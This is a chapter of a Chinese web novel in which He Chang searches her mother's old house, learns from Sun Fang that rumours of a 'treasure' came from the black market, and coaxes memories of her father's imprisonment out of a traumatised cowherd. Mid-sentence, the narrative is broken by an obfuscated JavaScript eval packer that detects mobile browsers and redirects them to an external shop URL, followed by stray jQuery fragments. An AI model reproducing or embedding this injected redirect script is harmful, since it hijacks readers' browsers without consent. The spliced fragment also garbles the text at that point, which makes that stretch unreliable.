断口没有生锈,说明最近才有人来过。和畅悄悄把锁放下,从腰上抽出匕首,耳朵贴在门板上,只能听到风路过的声音。
她轻轻推开门,有昏黄的阳光照出半个厅堂,鼻翼间满是经年的灰尘和霉味,和畅忍住咳嗽的冲动,向里迈去。
厅堂一览无余,唯一算得上是障碍物的就是几张竹制的桌椅。左边的房门摇摇欲坠,和畅推门靠在墙。房间的床只有空床板。和畅拉开柜子,几只飞蛾从腐烂的木板上惊逃。但和畅在柜子门前发现了两个脚印,从大小来看,应该属于成年男子。
脚印比柜子新许多,但上面仍然落着一层模糊的灰尘,比起和畅自己的脚印,这双旧了起码得有半个月。
和畅略微松口气,说明这个房子现在应该没有第二个人。
她接着去看了剩下两个房间,又发现了跟刚刚一样的脚印,但仍然没有找到什么有价值的东西。剩下的都是些搬不走又不值钱的家具。
和畅走出院子,此时太阳掉在山后面,她只能抓紧速度去找灶房和茅房。和畅绞尽脑汁,把所有她能想到的藏东西的地方都找了一遍,但没有挖空的墙或者地板,更没有什么暗器或者密道,这就是一个普通得不能再普通的废弃民居。
但如果真是普通废弃民居,为什么会有其他人的脚印?
原身的两个舅舅早已搬到文州之外,若是回来,村人也不可能不认识。若是近期有行踪奇怪的陌生人,岳奶奶也不会没有印象。
和畅站在杂草中间,脑海里一步步排查,除了吴大智和黑熊寨,到底还有谁知道所谓的“宝物”?好像就只剩下宁潜了,不过看宁潜随便拿双镶金筷子就糊弄了的态度,他显然没把这件事放在心上。相应的,也就不太可能派人到原身母亲的故居来查。
但吴大智是怎么知道她手里有宝物的?
死无对证,吴大智是不能说了,但也许黑熊寨还有知情人?想到这里,和畅离开旧屋,跑回岳家。
岳奶奶见到她,用乡音问:“妹崽,你找到什么了吗?”
和畅摇摇头:“没有。”
岳奶奶并没有意外,随口道:“可能被你舅舅们带走了,你以后要是碰到了,问问他们。”
和畅应了,又问:“最近有生人来村里吗?”
岳奶奶想了想:“没有,就今天你们来了,村里一年到头就过年和收税的时候有人来。”说着,岳奶奶又说:“我去给你拿几个蛋,你刚刚都没吃饭。”
她转身去了灶屋,和畅想着总不能大张旗鼓排查村里人,这也太此地无银三百两了。只能进去里屋找孙芳。
孙芳正在帮岳奶奶收拾行李,何东在边上监督。见到和畅,他往和畅手边一扫,看她两手空空,才问:“没找到令堂的遗物吗?”
和畅也帮着收拾,道:“这么多年了,只剩下些桌椅柜子没搬走,我怕烧了着火,还是算了。”说完,她又自然道:“这里有我,你去隔壁屋给吴海搭把手行吗?”
何东当然没有异议,立刻走出了屋子,出门时,眼神习惯性地在屋子里扫了一圈。
和畅竖着耳朵听到何东进了另一间屋,才小声问孙芳:“你认识吴大智吗?”
孙芳想了想:“你们寨子原来那个二当家?见过,但是没说过话。”
孙芳叠衣服的动作利落没有迟疑,不像是撒谎,和畅便又问:“你们大当家和他很熟吗?”
孙芳也干脆道:“不熟吧?都没让我给他开小厨房,肯定不是贵客。”
和畅也叠衣服,开玩笑道:“都不熟,你们大当家还听他的话来打我们?”
孙芳闻言抬头,惊讶地看着她:“可是我们大当家说是去抢宝物了,所以才惊动了官府。”
和畅也半真半假地震惊:“他们是来劫我们村了,大半夜的,要不是我们反应快,这会全成刀下亡魂。”
孙芳手上还不忘继续叠衣服,皱眉回想:“不能啊……黄全跟黑市有交情,宝物的事,我觉得应该是他从黑市知道的吧?”
“黄全跟黑市有交情?”和畅用疑问句重复她的肯定句。
孙芳看着她,道:“黄全都死了,您现在才是我的大当家。不瞒您说,黄全跟黑市可熟,我听说他俩就是黑市认识的。”
和畅觉得她说得有道理,毕竟吴大智原来确实负责寨子的销赃,所以所谓“宝物”的消息,就是黑市流传出来的吗?和畅顺着她的话问:“你没听说宝物是什么吗?”
这可难倒了孙芳,她手上动作完全停止:“让我想想。”
几息过后,她才不确定道:“有天晚上……好像是那个刘富商被救走的那天,黄全发了好大的火,还摔了碗,我去收拾碗筷,就听到他们说什么,拿到宝物就可以封侯拜相,永保富贵……那时候我还纳闷呢,哪有这种好东西,土匪还想当官,难不成拿到宝物就能中状元了?”
说到这,她突然愣了一下,尴尬地对和掌柜道:“我不是说你,也没说宁大人。”
“没事,你继续说。”和畅不在意。
孙芳便继续道:“我在寨子里待的时间久,也算厨房管事,我就问了黄全的媳妇,她说她也不知道,反正黑市说是黄色的,金灿灿的那种,细长细长的,京城来的,贵人用过。我猜啊,肯定是金子。”
“那天宁大人说的就是金筷子吧,官府都说找到了,应该就没错。”孙芳点头,把衣服包进包袱皮,絮叨开了:“金子肯定值钱嘛,贵人用过就更值钱,啧啧啧,不愧是京城,吃饭还用金筷子……”
和畅嘴上应和她感慨,心里却是一紧,黑市传出来的消息,有多少人已经知道了,又有多少人在怀疑她?
两人一时沉默,岳奶奶拿着一盘剥了壳的鸡蛋进来:“辛苦你们了,快吃点,鸡蛋现在吃正好。”
和畅本来没心思吃饭,但架不住岳奶奶盛情邀请,只好接过鸡蛋大口大口吃,岳奶奶被她的吃相逗乐,笑道:“你爹刚来我们村的时候也这样吃,那时候他特别干瘦,吃饭特别大口,别人吃五口的,他一口就吃完了,你娘那时候就日日去给他送饭……”
岳奶奶追忆起他们的过往,根本停不下来,趣事一件接着一件:“那时候其他人看着就生气,大家都是被流放来的,凭啥你爹就得了你娘欢喜?他们没少为这个事吵架,不过后来大多成家,也搬出了村子,现下就剩了一个。”
她突然对和畅道:“我听说他原先在贵人家赶车,现在天天在村里养牛,兴许知晓你爹以前的事?”
和畅咽下鸡蛋,忙问:“他叫什么名字,住在哪里?”
岳奶奶道:“就住在山脚下,方便他放牛,不过他这里有点问题。”岳奶奶指指脑袋:“要么你还是别去了,他有毛病,认不得人,你去了仔细被骂。”
和畅不假思索:“您告诉我他住哪儿就成,我去看看他。”
岳奶奶拗不过,只好给和畅指了路,还一直絮叨:“怪我老婆子乱讲话,他要是说什么不好听的,你别理他。现下天黑了,你明儿一早再去,他天亮就去放牛,这个点都睡着呢,你可别去,不然他骂死你。”
和畅迈出岳家的脚又收回来,证人本来就神志不清,不易干扰休息,她还是明天一早再去。
这一夜睡得囫囵,和畅全程做噩梦,梦到事情败露,自己和宁潜都被狗皇帝抓起来五马分尸。鸡叫时,和畅猛然惊醒,昏昏沉沉起床,不小心踩到了孙芳的手。
她下意识道歉,孙芳起身穿衣:“和掌柜,我跟你一起去。我娘去世前脑子也不好,或许能帮上忙。”
和畅怕她听到要紧事,但更怕问不出来无功而返,燕来村山高水远,她没理由更不能天天来问,犹豫了几秒,同意了。
两人举着天刚亮的微光往村深处走,走了大概两刻钟,山脚下出现一个简陋的小木屋,旁边的牛棚比木屋大得多,屋顶的茅草甚至都比木屋厚,六头牛安静地站着。一个身形佝偻的老人一瘸一拐地走出木屋,打开牛棚。
和畅和孙芳追上他,放牛倌听到脚步声,像被鞭子抽了一下,整个人往后一缩,转身就往牛棚里钻。
和畅继续跑,孙芳一把拽住她:“别追!”
她说的斩钉截铁,和畅顿住脚步,孙芳已经松开了她的袖子,把腰上别着的刀递给她,空着手,慢慢往牛棚走。
她没有直接靠近老人,而是在牛棚门口停下,弯腰捡起地上散落的草料,轻轻拍了拍一头老牛的脖子。
“大爷,你这牛养得真好。”孙芳的声音正好够他听见:“这牛角亮的,牛身上也干净,村里是不是就属你养得好?”
放牛倌用牛挡着自己,缩在角落,背对着他们,肩膀一直发抖,但抖动的频率下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778609|207087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
降了。
孙芳不看他,慢慢给牛顺毛:“我们家的牛以前也是我娘在养。后来她记性不好,老忘记要收牛草。牛草晒过了头,牛都不爱吃,要多打好几桶水给它们喝。所以就我来晒,她就站旁边看着。”
她抓起一把草料,对着角落道:“大爷,你这草料拌得挺好,牛吃了肯定长膘。”
放牛倌肩膀不抖了。
孙芳从水缸里舀了一瓢水,倒进水槽:“我帮您饮牛吧,您歇会儿,我们饮完牛就走。”
和畅放低脚步声,孙芳舀着水,悄悄对她摆摆手,示意她别过去。
和畅站住,看着孙芳一瓢一瓢舀水,用一种自言自语的语调说:“我娘走之前那阵子,没什么清醒的时候。清醒的时候她老是哭,说她拖累我,不如死了干净。糊涂的时候,就抱着老黄牛,跟牛说话。”
孙芳轻轻放下水瓢,往牛棚里挪了两步,挪到放牛倌旁边大约一米的距离,自己先蹲下来,仍然避着放牛倌说话。
“我出嫁以后,每次回娘家,我娘都又哭又闹。我一开始以为她怕我,后来才知道是怕我又要走,等我在家待够三天,她自己就安生了。”
她这才转过去,看重老人。老人的脸埋在膝盖里,略微偏着头思考她说的话。
孙芳问:“大爷,你有儿女吗?”
放牛倌不说话,牛棚里只有牛舔水的声音。
孙芳就从怀里掏出一块干饼,掰成两半,自己咬一口,另一半递给老人。
老人犹豫一会,哆哆嗦嗦接过,也咬了一口。
孙芳见状,默默挪开身体,露出身后的和畅:“这是我们掌柜的,她教我们识字,夫子还是州府学的学生,又教我们干活,给我们发工钱。比山上和牢里的日子好多了。你以前是干什么的?”
放牛倌茫然地看着她,好像在思考她说的话。
牛棚外,和畅尽可能地露出友善的微笑。
终于,放牛倌从膝盖里抬起头,浑浊的眼睛瞅了和畅一眼,又迅速低下。
“车……赶车。”
孙芳温和道:“赶车好啊,赶车的人最认识路,走多远都能回家。”
放牛倌突然掉下两行泪。
和畅见老人没再抗拒她,才慢慢走进牛棚,在孙芳旁边蹲下,用平常的语气问:“大爷,您以前赶车,拉的都是什么人?”
放牛倌明显僵住,缩了缩脖子,盯着脚尖,声音含糊不清:“京城……管事,还有……”
他断断续续说不出什么成型的话,和畅把水壶给他递过去。
放牛倌抓着水壶,哆嗦道:“大牢……”他盯着和畅:“你,你和我一起在大牢!”
和畅一顿,稳住拉家常的语气:“你还记得我叫什么吗?”
老人盯着她手上的茧子:“姓……姓和,带刀……是侍卫。”
他认识原身的父亲!和畅压住心里翻涌的情绪,问得尽量平缓:“我们怎么被抓起来了?”
放牛倌身体猛地一抖,双手抱头:“牢里!所有人都在牢里!死了,好多血!”
孙芳立刻挪过去,轻轻拍他的背,嘴里不停安抚:“没事了,没事了,现在你不在牢里了。”
老人的呼吸又急又乱,但被她这样拍着,渐渐没那么抖了。放牛倌突然转过头,紧紧盯着和畅,眼里涌起泪水:“你走路和都头一样!”
他的声音带上哭腔:“都头死了,被砍了!头在地上滚!”
说着,他用力敲自己的脑袋,一拳下手极重,和畅费了大力才拉住他的手,放牛倌呜咽道:“牢里就活了我们两个人!其他都死了!死了!”
和畅扶着他摸牛身:“没事了,都过去了,都过去了……”
老人抱着牛,身子不停地颤抖,一炷香后,他直起身,眼神是前所未有的清明:“蒋有死了,他家里人也死了,他不会来找你要东西了。”
“蒋有是谁?”
老人摇摇头,目光又变得浑浊:“他也是侍卫……侍卫,他和都头是亲戚,他们都死了!”
和畅微眯眼睛,也就是说,旧衣是一个叫蒋有的侍卫给原身父亲的,蒋有跟东宫侍卫统领是亲戚。但圣旨又是怎么到都头手里的?
突然,老者又笑了起来,骑上牛脖,学着抽马鞭的姿势,大笑道:“我是太子,驾!驾!吁——”